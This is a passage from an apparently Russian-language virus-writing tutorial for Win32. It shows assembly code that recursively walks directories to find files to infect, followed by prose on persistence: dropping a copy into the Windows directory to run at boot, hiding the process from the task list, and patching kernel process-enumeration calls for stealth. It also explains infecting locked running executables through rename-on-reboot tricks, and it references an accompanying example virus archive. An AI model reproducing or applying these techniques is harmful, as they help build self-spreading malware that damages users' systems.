__1:                    lodsb                   ; копируем имя в свой буфер
                        stosb
                        or      al, al
                        jnz     __1

                        dec     edi             ; дира должна кончаться на '\'
                        mov     al, '\'
                        cmp     [edi-1], al
                        je      __3
                        stosb
__3:
                        mov     ebx, edi        ; EBX = указатель на файл

                        mov     eax, '*.*'      ; ищем: дира\*.*
                        stosd

                        mov     edi, [esp+1024] ; восстановим EDI

                        mov     eax, esp
                        push    edi             ; ff_struc, будет заполнена
                        push    eax             ; имя файлов для поиска
                        call    FindFirstFileA

                        xchg    esi, eax        ; ESI = хендл поиска

                        cmp     esi, -1         ; че-нить найдено?
                        je      __quit

__cycle:                pusha                   ; добавляем имя файла к дире
                        lea     esi, [edi].ff_fullname
                        mov     edi, ebx
__strcpy:               lodsb
                        stosb
                        or      al, al
                        jnz     __strcpy
                        popa

                        mov     edx, esp        ; EDX = полное найденное имя

                        test    byte ptr [edi].ff_attr, 16  ; дира?
                        jnz     __dir

                        call    process_file    ; обработать файл (EDX,EDI)

                        jmp     __next

__dir:                  lea     eax, [edi].ff_fullname
                        cmp     byte ptr [eax], '.'    ; skip ./../etc.
                        je      __next

                        call    process_directory       ; рекурсивный вызов

__next:                 push    edi             ; ff_struc, будет заполнена
                        push    esi             ; хендл поиска
                        call    FindNextFileA

                        or      eax, eax        ; есть файл?
                        jnz     __cycle

                        push    esi             ; ESI = хендл поиска
                        call    FindClose

__quit:                 add     esp, 1024
                        popa
                        retn

; input: EDX=full filename
;        EDI=ff_struc

process_file:           pusha

;                       ...

                        popa
                        retn


  11. Резидентность (ring-3)
  ~~~~~~~~~~~~~~~~~~~~~~~~~~

  Резидентность, такая как в DOS'овых TSR-программах, в win32 отсутствует.
  Это ясно из того, что система мультизадачная.
  Достаточно скрыть программу в памяти, и она будет молча, никому не мешая,
  работать, например искать и заражать новые файлы.

  Наиболее простой и эффективный способ "резидентности":
  Скопировать текущий файл в виндовую диру (GetWindowsDirectoryA, CopyFileA)
  под именем DROPPER.EXE, и прописать в системых настройках этот дроппер
  как выполняемый при загрузке.

  Вообще их всего два, способа резидентности: установка дроппера либо
  заражение какого-нибудь всегда загружаемого системного файла.
  В противном случае нет гарантии,
  что после перезагрузки мы получим управление.

  Как скрыть прогу от менюхи по ctrl-alt-del?
  Работает только в маздае;
  в winNT такой функции как RegisterServiceProcess нет,
  поэтому проверяйте, найдена ли она в экспортах.

                        push    1
                        push    0
                        call    RegisterServiceProcess

  Перечень запущенных процессов/модулей/нитей можно получить через
  Process32First/Next, Module32First/Next, Thread32First/Next.
  Поэтому на этих функциях можно делать стелс, впатчив кусок кода в кернел.

  Да, как вы наверное уже знаете, запущенные программы в win32 нельзя
  стереть/открыть на запись, а значит, и заразить.
  Есть два способа обхода этого дела, для win9X и для winNT.
  Под маздаем к %windir\wininit.ini дописываются 2 строчки:
  [rename]
  dstfile=srcfile
  И заражается не открытый файл, а его копия, которая затем при перезагрузке
  будет автоматом переименована в файл, а оригинальный файл стерт.
  Указанную херь к файлу удобно дописывать функцией
  WritePrivateProfileStringA.
  Под winNT дважды используется ф-ция MoveFileExA с параметром
  DELAY_UNTIL_REBOOT, первый раз чтоб стереть старый файл и второй раз для
  переименования.

  Нити.
  Нить (thread) -- это сущность, более всего напонимающая некий виртуальный
  процессор. В каждой нити -- свой набор регистров.
  Ваш процессор последовательно их (регистры) перезагружает и по нескольку
  долей секунды (кванты времени) работает то в одной то в другой нити.
  В результате с точки зрения нити, она испольняется параллельно с остальными.
  В каждом процессе есть как минимум одна нить -- основная.
  Хотя кроме основной, можно создавать и другие, используя CreateThread.
  Единственно и только с помощью CreateThread можно работать в адресном
  пространстве процесса параллельно с самим процессом.
win32vx.zip - Пример вируса к статье.